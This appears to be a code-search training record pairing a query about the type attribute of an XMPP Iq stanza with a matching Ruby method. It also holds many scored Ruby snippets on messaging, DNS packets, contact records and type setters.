[ "def create\n iq = connection.iq_stanza({'to'=>jid.bare,'type'=>'set'},\n x('pubsub',{:xmlns => EM::Xmpp::Namespaces::PubSub},\n x('create',:node => node_id)\n )\n )\n\n send_iq_stanza_fibered iq\n end", "def as_xmpp_message(to, persp=:default, body=nil, type=:chat)\n klass = self.class.to_xmpp_message_node(persp)\n obj = klass.new(to, body, type)\n obj.represents(self, persp)\n obj\n end", "def build_iq(query)\n Ox::Element.new(\"iq\").tap do |element|\n element[:xmlns] = \"jabber:client\"\n element[:type] = \"set\"\n element[:id] = Jabber::Generators.id\n\n element << query\n end\n end", "def build_iq(query)\n Ox::Element.new(\"iq\").tap do |element|\n element[:xmlns] = \"jabber:client\"\n element[:type] = \"set\"\n element[:id] = Jabber::Generators.id\n\n element << query\n end\n end", "def to_dnsruby_message # this should actually be a monkeypatch to Dnsruby::Message \"new_from_json\"?\n throw SyntaxError unless defined? self[:header] and defined? self[:question] and defined? self[:answer] and defined? self[:authority]\n msg = Message.new\n header = Header.new\n self[:header].each do |k,v|\n key = \"@#{k}\"\n next unless header.instance_variable_defined?(key)\n if k == :opcode\n header.opcode = v\n elsif k == :rcode\n header.rcode = v\n else\n header.instance_variable_set(key,v)\n end\n end\n msg.header = header\n \n self[:question].each do |q|\n msg.add_question(Question.new(q[:qname],q[:qtype],q[:qclass]))\n end\n \n self[:answer].each do |rr|\n msg.add_answer(RR.new_from_string(rr.to_rdata_string))\n end\n \n self[:authority].each do |rr|\n msg.add_authority(RR.new_from_string(rr.to_rdata_string))\n end\n \n self[:additional].each do |rr|\n msg.add_additional(RR.new_from_string(rr.to_rdata_string))\n end\n msg\n end", "def build_contact(element, type)\n Record::Contact.new(\n :type => type,\n :id => node(\"#{element} ID\"),\n :name => node(\"#{element} Name\"),\n :organization => node(\"#{element} Organization\"),\n :address => node(\"#{element} Address\"),\n :city => node(\"#{element} City\"),\n :zip => node(\"#{element} Postal Code\"),\n :state => node(\"#{element} State/Province\"),\n :country_code => node(\"#{element} Country\"),\n :phone => node(\"#{element} Phone Number\"),\n :fax => node(\"#{element} Fax Number\"),\n :email => node(\"#{element} Email\")\n )\n end", "def protocol\n raise TypeError, 'no type on this reply' unless\n instance_variable_defined? :@type\n\n @type.split('.').last.sub '_', ''\n end", "def typing(recipient:)\n\t\t# TODO Fill the method TelegramAdapter#Typing\n\t\t# Bot.deliver(recipient: recipient, sender_action:'TYPING_ON')\n\t\tchat_id = recipient['id']\n\t\t@bot.sendChatAction(chat_id: chat_id, action: 'typing')\t\n\tend", "def build_contact(element, type)\n # lines = match.split(\"\\n\")\n # p lines[0].to_s.scan(/^Organisation Name\\.+\\s+(.+)\\n/)\n\n address = (1..3).\n map { |i| node(\"#{element} Address\")[i] }.\n delete_if { |i| i.nil? || i.empty? }.\n join(\", \")\n\n Record::Contact.new(\n :type => type,\n # :id => node(\"#{element} ID\"),\n :name => node(\"#{element} Name\"),\n :organization => node(\"#{element} Organization\"),\n :address => address, # node(\"#{element} Address\")[0].to_s + \", \" + node(\"#{element} Address\")[1].to_s,\n :city => node(\"#{element} Address\")[3],\n :zip => node(\"#{element} Address\")[4],\n :state => node(\"#{element} Address\")[5],\n :country => node(\"#{element} Address\")[6],\n # :country_code => node(\"#{element} Country\"),\n :phone => node(\"#{element} Phone\"),\n :fax => node(\"#{element} Fax\"),\n :email => node(\"#{element} Email\")\n )\n end", "def type\n \"Sender\"\n end", "def event!(type, data, opts = {})\n raise ArgumentError, \"'data' must be a Hash!\" unless data.kind_of?(Hash)\n \n opts.symbolize_keys!\n data.symbolize_keys!\n \n to = opts[:to] || room_jid\n\n ev = {}\n ev['eventType'] = type\n ev['payload'] = data.dup\n ev['origin'] = opts[:origin] || config[:nickname] || config[:username]\n ev['timestamp'] = opts[:timestamp] || Time.now \n\n body = ev.to_json\n\n msg = Blather::Stanza::Message.new\n msg.to = to\n msg.type = :groupchat unless opts[:to] # if explicit :to was given, then this event is to be delivered as a private message\n msg.body = body\n\n client.write(msg)\n end", "def build_message(type, body, flags=NLM_F_REQUEST, seq=next_seq, pid=@pid)\n body = body.to_str\n header = [\n body.bytesize + NLMSGHDR_SIZE,\n type, flags, seq, pid\n ].pack(NLMSGHDR_PACK)\n # assume the header is already aligned\n header + body\n end", "def generate_payload_type\n payload_class = super\n payload_class.mutation(self)\n payload_class\n end", "def build_singleton0(type_name); end", "def make_squadron(squadron)\n name = squadron.squadron_name\n tags = \"\"\n squadron.list_of_cards.each{|x|\n if x.instance_of?(Aircraft)\n tags = tags + \"#{x.tag}\\n\"\n elsif x.instance_of?(Keepem)\n tags = tags + \"k\\n\"\n elsif x.instance_of?(Victory)\n tags = tags + \"v\\n\"\n end\n }\n if squadron.squadron_alliance.class == Axis\n alliance = \"AXIS\"\n elsif squadron.squadron_alliance.class == Allies\n alliance = \"ALLIANCE\"\n end\n if squadron.squadron_bomber?\n category = \"BOMBER\"\n elsif squadron.squadron_fighter?\n category = \"FIGHTER\"\n end\n return tags, alliance, category, name\n end", "def test_widget_type\n widget = @twizo.create_registration_widget(nil)\n widget.params.allowed_types = ['sms']\n\n test_recipient = NUMBER1\n\n widget.params.recipient = test_recipient\n\n widget = widget.send\n\n assert_equal test_recipient, widget.recipient\n assert_equal ['sms'], widget.allowedTypes\n end", "def <<(stanza)\n client.write stanza\n self\n end", "def create_object\n definition.sought_type.new\n end", "def initialize(message, type = nil)\n @type = type\n super(message)\n end", "def to\n JID.new(self[:to]) if self[:to]\n end", "def test_create_verification_type\n verification = @twizo.create_verification(nil)\n\n test_recipient = NUMBER1\n\n verification.params.recipient = test_recipient\n verification.params.type = 'call'\n\n verification = verification.send\n\n assert_equal test_recipient, verification.recipient\n assert_equal 'call', verification.type\n assert_not_nil verification.messageId\n end", "def initialize type, **options\n super **options\n @type = NRSER::Types.make type\n end", "def initialize type, **options\n super **options\n @type = NRSER::Types.make type\n end", "def set_RecipientType(value)\n set_input(\"RecipientType\", value)\n end", "def set_RecipientType(value)\n set_input(\"RecipientType\", value)\n end", "def send(body=nil)\n msg = Jabber::Message.new(@to)\n msg.type = :chat\n msg.body = body || @message\n @base.stanza(msg)\n end", "def add_recipient(recipient_type, address, variables = nil)\n # send the message when we have 1000, not before\n send_message if @counters[:recipients][recipient_type] == Mailgun::Chains::MAX_RECIPIENTS\n\n compiled_address = parse_address(address, variables)\n set_multi_complex(recipient_type, compiled_address)\n\n store_recipient_variables(recipient_type, address, variables) if recipient_type != :from\n\n @counters[:recipients][recipient_type] += 1 if @counters[:recipients].key?(recipient_type)\n end", "def create_types\n\t[Domain]\nend", "def fix_type\n self.type ||= self.imap_provider.class_for(PartnerConnection).to_s\n end", "def type\n\t\treturn 'telegram'\t\n\tend", "def as_json(options)\n super().merge!(type: \"subject\")\n end", "def build_packet(kind, type, payload, target, callback = false)\n kind_str = kind.to_s\n persistent = !!(kind_str =~ /persistent/)\n if kind_str =~ /push/\n packet = Push.new(type, payload)\n packet.selector = target[:selector] || :any if target.is_a?(Hash)\n packet.confirm = true if callback\n else\n packet = Request.new(type, payload)\n ttl = @options[:time_to_live]\n packet.expires_at = Time.now.to_i + ttl if !persistent && ttl && ttl != 0\n packet.selector = :any\n end\n packet.from = @identity\n packet.token = AgentIdentity.generate\n packet.persistent = persistent\n if target.is_a?(Hash)\n packet.tags = target[:tags] || []\n packet.scope = target[:scope]\n else\n packet.target = target\n end\n packet\n end", "def build_payment_object_from_payment_type\n if self.sender && self.payment_type == :piggy_bank\n self.payment_object = self.sender.piggy_bank\n end\n end", "def type=(_arg0); end", "def type=(_arg0); end", "def type=(_arg0); end", "def type=(_arg0); end", "def type=(_arg0); end", "def type=(_arg0); end", "def type=(_arg0); end", "def type=(_arg0); end", "def type=(_arg0); end", "def type=(_arg0); end", "def type=(_arg0); end", "def type=(_arg0); end", "def type=(_arg0); end", "def to_query(type)\n {\n \"#{type}Address1\" => contact.address_1,\n \"#{type}Address2\" => contact.address_2,\n \"#{type}City\" => contact.city,\n \"#{type}Country\" => contact.country,\n \"#{type}EmailAddress\" => contact.email,\n \"#{type}Fax\" => contact.fax,\n \"#{type}FirstName\" => contact.first_name,\n \"#{type}LastName\" => contact.last_name,\n \"#{type}JobTitle\" => contact.job_title,\n \"#{type}OrganizationName\" => contact.organization_name,\n \"#{type}Phone\" => contact.phone,\n \"#{type}PhoneExt\" => contact.phone_ext,\n \"#{type}PostalCode\" => contact.postal_code,\n \"#{type}StateProvince\" => contact.state_province,\n \"#{type}StateProvinceChoice\" => contact.state_province_choice\n }\n end", "def create_and_configure(form)\n iq = connection.iq_stanza({'to'=>jid.bare,'type'=>'set'},\n x('pubsub',{:xmlns => EM::Xmpp::Namespaces::PubSub},\n x('create','node' => node_id),\n x('configure',\n connection.build_submit_form(form)\n )\n )\n )\n\n send_iq_stanza_fibered iq\n end", "def initialize(type = nil, method = nil)\n\t\tsuper(type)\n\n\t\tif (method)\n\t\t\tself.method = method\n\t\tend\n\n\t\t# If it's a request, generate a random request identifier\n\t\tif ((type == PACKET_TYPE_REQUEST) ||\n\t\t (type == PACKET_TYPE_PLAINTEXT_REQUEST))\n\t\t\trid = ''\n\n\t\t\t32.times { |val| rid << rand(10).to_s }\n\n\t\t\tadd_tlv(TLV_TYPE_REQUEST_ID, rid)\n\t\tend\n\tend", "def beacon_type(message)\n return <<END\n Puppet::Type.newtype(:beacon) do\n newparam(:name, :namevar => true)\n newproperty(:message) do\n def sync; true; end\n def retrieve; :absent; end\n def insync?(is); false; end\n defaultto { \"#{message}\" }\n end\n end\nEND\n end", "def type\n if @type\n return @type\n elsif self.sip_accounts.count > 0\n return :sipaccount\n elsif self.conferences.count > 0\n return :conference\n elsif self.users.count > 0\n return :faxreceive\n elsif self.destination == '-vmenu-'\n return :vmenu\n elsif self.destination == '-park-in-'\n return :parkin\n elsif self.destination == '-park-out-'\n return :parkout\n elsif self.destination =~ /-queue-(.*)/\n return :queue\n else\n return nil\n end\n end", "def type\n {\n '@' => :user_id,\n '!' => :room_id,\n '$' => :event_id,\n '+' => :group_id,\n '#' => :room_alias\n }[sigil]\n end", "def type\n {\n '@' => :user_id,\n '!' => :room_id,\n '$' => :event_id,\n '+' => :group_id,\n '#' => :room_alias\n }[sigil]\n end", "def buildTypeMemberClause(subject, tableName)\n # case context\n # when REGEXTerm\n # when Array\n # else\n [\"#{tableName}.member=?\", subject] if subject\n # end\n end", "def new_talent(email)\n Talent.new( :name => \"Zaphod\",\n :description => \"Has two heads\",\n :phone => \"098-987-9877\",\n :email => email,\n :address => \"The Heart of gold\",\n :comments => \"Just this guy\",\n :type_id => 3)\n end", "def new_typed_user\n user = self.imap_provider.class_for(User).new\n self.users << user\n user\n end", "def build_shipper_or_recipient_node(name, location)\n node = XmlNode.new(name) do |xml_node|\n xml_node << XmlNode.new('Contact') do |contact_node|\n contact_node << XmlNode.new('PersonName', location.name)\n contact_node << XmlNode.new('CompanyName', location.company_name) if location.company_name.present?\n contact_node << XmlNode.new('PhoneNumber', location.phone)\n end\n xml_node << XmlNode.new('Address') do |address_node|\n address_node << XmlNode.new('StreetLines', location.address1)\n if location.address2\n address_node << XmlNode.new('StreetLines', location.address2)\n end\n address_node << XmlNode.new('City', location.city)\n address_node << XmlNode.new('StateOrProvinceCode', location.state)\n address_node << XmlNode.new('PostalCode', location.postal_code)\n address_node << XmlNode.new(\"CountryCode\", location.country_code(:alpha2))\n address_node << XmlNode.new(\"Residential\", true) unless location.commercial?\n \n end\n end\n end", "def initialize contact_data\n #@message = message\n @contact_data = contact_data\n @type = type\n end", "def stamp_to\n to = validate_to\n raise StanzaErrors::BadRequest.new(self, 'modify') unless to\n to.bare.tap do |bare|\n self['to'] = bare.to_s\n end\n end", "def add_field(type, value)# {{{\n t = TLV.new(2,2)\n t.type = type\n t.value = value\n t.length = 4 + value.length\n self.payload += t.encode \n end", "def create; super(:type); end", "def prepare_predefined_message(device_type)\n { default: 'Push' }.merge(\n PushJsonBuilder.send(device_type.to_sym, message, data, n_type)\n ).to_json\n end", "def generate_reply_to(sender_type = 'admin')\n @reply_token = ReplyToken.create(reply_type: 'participation_request')\n @reply_token.data = {\n sender_type: sender_type,\n sender_id: sender_type == 'admin' ? @admin.id : @user.id,\n participation_request_id: @participation_request.id,\n gmail_action_name: \"Confirmer l'inscription\"\n }\n @reply_token.save\n\n @reply_token.email_address\n end", "def create(stanza)\n #<iq type='set'><message ...>...</message>...<message ...></message></iq>\n @tweets = stanza.children.map {|m| Tweet.from_xml(m)}\n\n if @tweets.all? {|t| t.save }\n result :success # TODO: this is hackish\n else\n # some sort of error response\n end\n end", "def initialize()\n super\n @odata_type = \"#microsoft.graph.chatMembersNotificationRecipient\"\n end", "def send(stanza)\n Blather.logger.debug \"SENDING: (#{caller[1]}) #{stanza}\"\n send_data stanza.respond_to?(:to_xml) ? stanza.to_xml : stanza.to_s\n end", "def push(type, payload = '', opts = {})\n raise \"Mapper proxy not initialized\" unless identity && @options\n push = Push.new(type, payload, opts)\n push.from = @identity\n push.token = AgentIdentity.generate\n push.persistent = opts.key?(:persistent) ? opts[:persistent] : @options[:persistent]\n RightLinkLog.info(\"SEND #{push.to_s([:tags, :target])}\")\n @amqp.queue('request', :no_declare => @options[:secure]).publish(@serializer.dump(push))\n end", "def types=(_arg0); end", "def to_sender\n if self.sender\n self.sender\n else\n Person.new({\n :gender => self.sender_gender,\n :academic_title_id => self.sender_academic_title_id,\n :first_name => self.sender_first_name,\n :last_name => self.sender_last_name,\n :email => self.sender_email\n })\n end\n end", "def subtype; end", "def snat_type\n super\n end", "def build_xml(builder)\n super(builder)\n builder.Type { |b| self.object_type.build_xml(b) } if object_type\n end", "def stanza(id)\n @id_to_stanza[id]\n end", "def is_type s, rdf_type\n @subject_types ||= {}\n if @subject_types.has_key? [s, rdf_type]\n @subject_types[s, rdf_type]\n else\n direct_query \"ASK WHERE { <#{s}> a <#{rdf_type}> }\"\n end\nend", "def get_message_types; end", "def get_message_types; end", "def type\n case super\n when 'error' then :error\n when 'probe' then :probe\n when 'subscribe' then :subscribe\n when 'subscribed' then :subscribed\n when 'unavailable' then :unavailable\n when 'unsubscribe' then :unsubscribe\n when 'unsubscribed' then :unsubscribed\n else nil\n end\n end", "def create\n identify.tap { type }\n end", "def initialize(type, value = nil)\n\t\t@type = type\n\t\t\n\t\tif (value != nil)\n\t\t\tif (type & TLV_META_TYPE_STRING == TLV_META_TYPE_STRING)\n\t\t\t\tif (value.kind_of?(Fixnum))\n\t\t\t\t\t@value = value.to_s\n\t\t\t\telse\n\t\t\t\t\t@value = value.dup\n\t\t\t\tend\n\t\t\telse\n\t\t\t\t@value = value\n\t\t\tend\n\t\tend\n\tend", "def to_gfa_field(datatype: nil)\n self << @datatype\n self << \"\\0\"\n to_json\n end", "def type(type); end", "def init_jaxb_json_hash(_o)\n super _o\n if !_o['emailId'].nil?\n _oa = _o['emailId']\n if(_oa.is_a? Hash)\n @emailId = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @emailId = Fixnum.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @emailId = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @emailId.push Fixnum.from_json(_item)\n else\n @emailId.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @emailId = _oa\n end\n end\n if !_o['type'].nil?\n _oa = _o['type']\n if(_oa.is_a? Hash)\n @type = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @type = String.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @type = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @type.push String.from_json(_item)\n else\n @type.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @type = _oa\n end\n end\n if !_o['value'].nil?\n _oa = _o['value']\n if(_oa.is_a? Hash)\n @value = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @value = String.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @value = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @value.push String.from_json(_item)\n else\n @value.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @value = _oa\n end\n end\n if !_o['primary'].nil?\n _oa = _o['primary']\n if(_oa.is_a? Hash)\n @primary = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @primary = Boolean.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @primary = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @primary.push Boolean.from_json(_item)\n else\n @primary.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @primary = _oa\n end\n end\n end", "def hash_to_message(data)\n klass = Hastur::Message.symbol_to_class(data[:type])\n\n # if no UUID is provided, set one in the message payload\n data[:uuid] ||= @uuid\n\n payload = MultiJson.dump(data)\n klass.new :from => @uuid, :payload => payload\n end", "def type(node, type); end", "def push(type, email, payload)\n @client.send(:push_to_contact, type, email, payload)\n end", "def post_init\n @parser = XmppParser.new(method(:receive_stanza))\n end", "def build_contact(contact = {})\n case contact\n when Contact then contact.gateway = self\n when Hash then contact = Contact.new(contact.merge({:gateway => self}))\n end\n contact\n end", "def recipient; end", "def initialize(type = TYPES[:empty])\n @type = type\n end", "def generate_rdf_specific(b,ty)\n case ty\n when 'thesis'\n th = setup_thesis_info(to_marc)\n typ = th[:type].to_s\n Rails.logger.debug \"********es287_dev #{__FILE__} #{__LINE__} #{__method__} #{th.inspect}\"\n b.z(:type,typ)\n else\n end\n end", "def type; return :\"incoming_#{@type.to_s}\"; end", "def expect_message(type); end", "def build_packet\n return [@request_id, @command_type, @string1, @string2].pack(\"VVa#{@string1.length}a2\")\n end", "def build_message\n @subject = RecipientsFor::Subject.new\n @content = RecipientsFor::Content.new\n end", "def type=(_); end", "def type=(_); end", "def type=(_); end", "def type=(_); end", "def type=(_); end", "def create_packet(lookup_host, transaction_ID) \n packet = [transaction_ID, FLAGS, QUESTIONS, ANSWERS, AUTHORITY_RRS, ADDITIONAL_RRS].pack(\"S>S>S>S>S>S>\")\n packet += encode_lookup_host(lookup_host)\n packet += [TYPE_A, CLASS_IN].pack(\"S>S>\")\n \n return packet\nend" ]
[ "0.53103083", "0.52353144", "0.51437414", "0.51390505", "0.5002836", "0.49288005", "0.49260974", "0.489273", "0.48723128", "0.48156852", "0.4814744", "0.48142424", "0.47736892", "0.47358915", "0.47107753", "0.47054", "0.46958858", "0.46947265", "0.46892735", "0.4682797", "0.46766436", "0.4669534", "0.4669534", "0.46609005", "0.46609005", "0.46541047", "0.46507585", "0.46435487", "0.46400762", "0.46370292", "0.46365383", "0.46325967", "0.46282825", "0.4610957", "0.4610957", "0.4610957", "0.4610957", "0.4610957", "0.4610957", "0.4610957", "0.4610957", "0.4610957", "0.4610957", "0.4610957", "0.4610957", "0.4610957", "0.46045575", "0.46036205", "0.46026647", "0.45996615", "0.4582284", "0.45569628", "0.45569628", "0.45499772", "0.4548982", "0.45402798", "0.45395178", "0.45276096", "0.45153588", "0.4512616", "0.45112243", "0.45037845", "0.4489139", "0.44867787", "0.4484776", "0.44847298", "0.44822925", "0.44810867", "0.44740704", "0.4473368", "0.44731423", "0.44665498", "0.44643316", "0.4456166", "0.44471687", "0.44471687", "0.4446355", "0.44385612", "0.4430599", "0.4417657", "0.44135836", "0.44095585", "0.4409526", "0.4408313", "0.4408239", "0.44053012", "0.43986273", "0.43953484", "0.4394749", "0.43934923", "0.43917742", "0.43839514", "0.43834135", "0.43828666", "0.4364216", "0.4364216", "0.4364216", "0.4364216", "0.4364216", "0.43614432" ]
0.62846315
0
Get the type of the Iq stanza The following values are allowed: :get :set :result :error result:: [Symbol] or nil
def type case super when 'get' then :get when 'set' then :set when 'result' then :result when 'error' then :error else nil end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def type\n result_hash['typ']\n end", "def type\n return @type if @type != \"unknown\"\n info\n @type\n end", "def type\n return :unknown unless properties['result_type']\n\n properties['result_type'].to_sym\n end", "def type\r\n\t\t\t`#{BITS::BITSADMIN} /gettype {#{@id}}`\r\n\t\tend", "def protocol\n raise TypeError, 'no type on this reply' unless\n instance_variable_defined? :@type\n\n @type.split('.').last.sub '_', ''\n end", "def type\n @type\n end", "def type\n @type\n end", "def type(jid,node)\n info = get_info(jid,node)\n return info['type']\n end", "def get_type\n\n end", "def type\n @type\n end", "def type\n @type\n end", "def type\n @type\n end", "def type\n @type\n end", "def result_type\n properties['type']\n end", "def type\n case super\n when 'error' then :error\n when 'probe' then :probe\n when 'subscribe' then :subscribe\n when 'subscribed' then :subscribed\n when 'unavailable' then :unavailable\n when 'unsubscribe' then :unsubscribe\n when 'unsubscribed' then :unsubscribed\n else nil\n end\n end", "def type\n response[\"type\"]\n end", "def type\n response[\"type\"]\n end", "def type\n return @type\n end", "def type\n _type\n end", "def type\n @payload['type']\n end", "def type\n\t\t@type\n\tend", "def get_type(dns_query, parsed_dns)\n RECORD_TYPE[get_rdata_value(dns_query, parsed_dns, SHORT_LENGTH).to_i]\n end", "def type\n self['type']\n end", "def type\n self['type']['type']\n end", "def type\n self[:type]\n end", "def type\n _type rescue nil\n end", "def type\n self[:type]\n end", "def type\n\t\t\t@data[\"type\"]\n\t\tend", "def type\n read_attr :type, :to_sym\n end", "def type\n 'it'\n end", "def type\n @@type\n end", "def type\n @@type\n end", "def type\n return @type\n end", "def type\n return @type\n end", "def type\n return @type\n end", "def type\n return @type\n end", "def type\n return @type\n end", "def type\n return @type\n end", "def type\n return @type\n end", "def type\n attr_val('./@typeCode')\n end", "def query_type\n return @query_type\n end", "def query_type\n return @query_type\n end", "def get_type; raise NotImplementedError end", "def qtype\n QuestionType[qtype_name]\n end", "def qtype\n QuestionType[qtype_name]\n end", "def request_type; \"RequestType\"; end", "def type() end", "def request_type(*args)\n type\n end", "def type\n query_root_node(\"rdf:type/@rdf:resource\", @@NAMESPACES).to_s\n end", "def type\n @type ||= @method[(@method.rindex('/') + 1)..-1]\n end", "def type ; metadata[:type] ; end", "def type\n @node[\"type\"]\n end", "def type\n if is_name_new?; :name_new\n elsif is_name_firstupdate?; :name_firstupdate\n elsif is_name_update?; :name_update\n elsif is_pubkey_hash?; :pubkey_hash\n elsif is_pubkey?; :pubkey\n elsif is_multisig?; :multisig\n elsif is_script_hash?; :script_hash\n elsif is_op_return?; :op_return\n else; :unknown\n end\n end", "def type\n types.first\n end", "def type\n @gapi[\"type\"]\n end", "def type\n @stanza.type\n end", "def type\n munson.type\n end", "def type\n Type.new(type_param).yard_type_string\n end", "def type\n raw_data['type']\n end", "def type\n @grpc.type\n end", "def type\n @data['type']\n end", "def action_type\n node_text(node_tagged(:queryflagname))\n end", "def type\n @data['type']\n end", "def type; self._type; end", "def type\n @type.name\n end", "def query_type_str\n query_type_enum[query_type]\n end", "def resource_type(resource)\n resource.xpath('string(command/ident/@value)')\n end", "def resource_type(resource)\n resource.xpath('string(command/ident/@value)')\n end", "def type\n types.first\n end", "def type\n return nil if reference?\n @grpc.type\n end", "def type\n end", "def get_type()\n res = super(context,self)\n return res\n end", "def type\n end", "def type\n @type.to_s\n end", "def type\n @json['type']\n end", "def type\n\t\t\t@packet.type\n\t\tend", "def sti_type\n self.type\n end", "def type_info(type, elem)\n scimfo = {\n user: {\n path: '/Users',\n name_attr: 'userName',\n origin_attr: 'origin'\n },\n group: {\n path: '/Groups',\n name_attr: 'displayName',\n origin_attr: 'zoneid'\n },\n client: {\n path: '/oauth/clients',\n name_attr: 'client_id'\n },\n user_id: {\n path: '/ids/Users',\n name_attr: 'userName',\n origin_attr: 'origin',\n },\n group_mapping: {\n path: '/Groups/External',\n name_attr: 'externalGroup',\n origin_attr: 'origin'\n }\n }\n\n type_info = scimfo[type]\n\n unless type_info\n raise ArgumentError, \"scim resource type must be one of #{scimfo.keys.inspect}\"\n end\n\n value = type_info[elem]\n\n unless value\n raise ArgumentError, \"scim schema element must be one of #{type_info.keys.inspect}\"\n end\n\n value\n end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end", "def type; end" ]
[ "0.66498125", "0.65237457", "0.64089954", "0.6404076", "0.6266697", "0.626455", "0.622348", "0.62213725", "0.6218859", "0.62078166", "0.62077034", "0.62077034", "0.62077034", "0.6187456", "0.616204", "0.61487144", "0.61487144", "0.6139651", "0.6113391", "0.6094898", "0.6081668", "0.60660946", "0.6065777", "0.60557765", "0.6045944", "0.6036184", "0.6021345", "0.5963673", "0.5962459", "0.5955479", "0.5945292", "0.5945292", "0.5918196", "0.5918196", "0.5918196", "0.5918196", "0.5918196", "0.5918196", "0.5918196", "0.59112334", "0.5903881", "0.5903881", "0.5901911", "0.5900086", "0.5900086", "0.589552", "0.5894226", "0.58909756", "0.58783674", "0.5872098", "0.5871001", "0.5832721", "0.58166635", "0.58076876", "0.580299", "0.5797137", "0.5795039", "0.5789644", "0.5789198", "0.5767418", "0.5763713", "0.57569903", "0.57477045", "0.5740198", "0.5735128", "0.57310545", "0.5716809", "0.5716809", "0.571493", "0.57034934", "0.5702823", "0.56922054", "0.56725866", "0.5661032", "0.56573975", "0.56408167", "0.5621979", "0.56200296", "0.56130517", "0.56130517", "0.56130517", "0.56130517", "0.56130517", "0.56130517", "0.56130517", "0.56130517", "0.56130517", "0.56130517", "0.56130517", "0.56130517", "0.56130517", "0.56130517", "0.56130517", "0.56130517", "0.56130517", "0.56130517", "0.56130517", "0.56130517", "0.56130517", "0.56130517" ]
0.66038674
1
Set the type of the Iq stanza (see Iqtype) v:: [Symbol] or nil
def type=(v) case v when :get then super('get') when :set then super('set') when :result then super('result') when :error then super('error') else super(nil) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_type(v)\n self.type = v\n self\n end", "def set_q_type\n @q_type = QType.find(params[:id])\n end", "def type(val); @type = val; self; end", "def type=(type); end", "def type=(type)\n @type = type\n\n setOption('type', @type)\n end", "def set_type\n end", "def set_type(val)\n self.type = val\n self\n end", "def type=(type)\n @type = type\n end", "def type=(type)\n @type = type\n end", "def bar_type=(s)\n self[:type] = s\n end", "def type=(type)\n self['type'] = type\n end", "def type=(val)\n @type = val.to_sym if %w(UNSPECIFIED MEDIA MASTER).include? val.to_s\n end", "def type=(type)\n if type.nil?\n fail ArgumentError, 'invalid value for \"type\", type cannot be nil.'\n end\n @type = type\n end", "def type=(type)\n if type.nil?\n fail ArgumentError, 'invalid value for \"type\", type cannot be nil.'\n end\n @type = type\n end", "def type=(type)\n if type.nil?\n fail ArgumentError, 'invalid value for \"type\", type cannot be nil.'\n end\n @type = type\n end", "def type=(val)\n case val\n when :error then super('error')\n when :probe then super('probe')\n when :subscribe then super('subscribe')\n when :subscribed then super('subscribed')\n when :unavailable then super('unavailable')\n when :unsubscribe then super('unsubscribe')\n when :unsubscribed then super('unsubscribed')\n else super(nil)\n end\n end", "def type=(type)\n @type = type.to_sym\n end", "def type=(value)\n @type = value\n end", "def type=(value)\n @type = value\n end", "def type=(value)\n @type = value\n end", "def type=(value)\n @type = value\n end", "def type=(value)\n @type = value\n end", "def type=(value)\n @type = value\n end", "def type=(value)\n @type = value\n end", "def type=(type)\n @type = type\n end", "def type=(type)\n @@type = type\n end", "def type=(val)\n @type = val.to_sym\n end", "def type=(value)\n @type = value.to_sym\n end", "def record_type(t)\n @type = t\n end", "def set_typecode(v)\n @typecode = v\n end", "def type=(type)\n Munson.register_type(type, self)\n munson.type = type\n end", "def type=(type)\n write_attr :type, type\n end", "def type= new_type\n @gapi.update! type: verify_type(new_type)\n end", "def initialize(type = nil, to = nil)\n super(\"iq\")\n if not to.nil?\n set_to(to)\n end \n if not type.nil?\n set_type(type)\n end \n end", "def type=(new_type=:default)\n ptr = ::FFI::MemoryPointer.new(:int)\n Klass.setServoType(@handle, @index, Phidgets::FFI::AdvancedServoType[new_type])\n new_type\n end", "def type= new_type\n frozen_check!\n @gapi.type = new_type\n end", "def type= new_type\n frozen_check!\n @gapi.type = new_type\n end", "def set_ivatype\n @ivatype = Ivatype.find(params[:id])\n end", "def query_type=(value)\n @query_type = value\n end", "def query_type=(value)\n @query_type = value\n end", "def set_Type(value)\n set_input(\"Type\", value)\n end", "def set_Type(value)\n set_input(\"Type\", value)\n end", "def of_type(type)\n options[:type] = type\n self\n end", "def query_type=(query_option)\n @browser.select_list(:id => \"smartSearchSubtype_0\").select(query_option)\n end", "def type=(new_type)\n @type = new_type.to_sym\n end", "def type=(_); end", "def type=(_); end", "def type=(_); end", "def type=(_); end", "def type=(_); end", "def qtype\n QuestionType[qtype_name]\n end", "def qtype\n QuestionType[qtype_name]\n end", "def set_type sym, type\n @types[sym] = type\n end", "def type=(v)\n RestrictionValidator.validate :storage_type, TYPES.values, v\n @type = v\n end", "def set_Type(value)\n set_input(\"Type\", value)\n end", "def set_Type(value)\n set_input(\"Type\", value)\n end", "def type(value_=nil)\n if value_\n @type = value_\n else\n @type\n end\n end", "def device_type=(s)\n self[:type] = s\n end", "def type=(type)\n validate_type_values(type)\n @type = type\n end", "def set_vartype(val)\n @vartype = val\n val\n end", "def set_type(name)\n @type = name\n 